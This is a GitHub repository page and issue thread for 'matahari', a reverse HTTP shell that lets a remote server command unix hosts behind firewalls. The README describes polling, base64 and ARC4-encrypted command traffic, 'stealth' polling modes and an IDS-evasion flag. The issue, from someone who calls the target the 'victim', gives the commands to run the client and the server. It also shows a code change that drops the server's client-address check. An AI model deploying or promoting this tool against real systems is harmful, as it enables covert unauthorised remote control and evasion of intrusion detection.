olemoudi / matahari

Reverse HTTP shell with basic ARC4 encryption support

Matahari

Reverse HTTP shell

author: Martin Obiols Herrera -- OleMoudi started: 09/Sept/2007

Script to obtain a basic shell remotely on unix systems behind firewalls.
Client gets commands by periodically polling the server and sends the output back
after executing them. Traffic traverses firewall as standard outgoing HTTP GET/POST requests.
HTTP requests/responses carry payload b64 encoded

Polling period between requests can be modified sending commands like "%polling_type",
where "polling_type" is one of the following:
	-insane: 10 seconds between requests
	-agressive: 25 seconds between requests
	-normal: 60 seconds between requests
	-polite: 5 mins between requests
	-paranoid: 30 mins between requests
	-stealth: 60 mins between requests
	-adaptative: dinamically increases polling period when no commands are received until
		     reaching stealth type.

Be aware that when ids-evasion flag is set, all the above times are modified randomly with each
polling period between original value and 2 x original value.

Payload encryption uses ARC4 (requires python-crypto package). Client sends with each request a 
special header with a unique salt (str(randint(1,1000)) + str(time.time()). Server response and
next client POST request will be encrypted using the password+salt. This way client gets protected
against retransmission attacks.


TODO:
	-Better error handling
	-Support for interactive commands
	-Code clean up
	-Comments -_-zZZ

matahari's Issues

hello olemoudi, remote server no execute a command

victim run :(add "x.x.x.x.myserverip google.com.test" to /etc/hosts )
python m.py -c google.com.test -T insane -v -p 443 -e

myserver run :(add "x.x.x.x.myserverip google.com.test" to /etc/hosts )
python matahari.py -s google.com.test -v -p 443 -e

in server enter a command no result .

google.com.test$>> set
output not ready, client will poll for new command in approximately 4 seconds

// Unable to get results. ( ∙̆ .̯ ∙̆ )

client result :

target server: google.com.test:443
polling server...
getting response...
no command issued
next polling in 10 seconds
retrying...
target server: google.com.test:443
polling server...
getting response...
no command issued
next polling in 10 seconds
retrying...
target server: google.com.test:443
polling server...
getting response...
no command issued

---

i change line 145
if ((self.client_address[0] == socket.gethostbyname(host)) and command_ready):

to

if (command_ready):

success run!good well. why????? thx to author.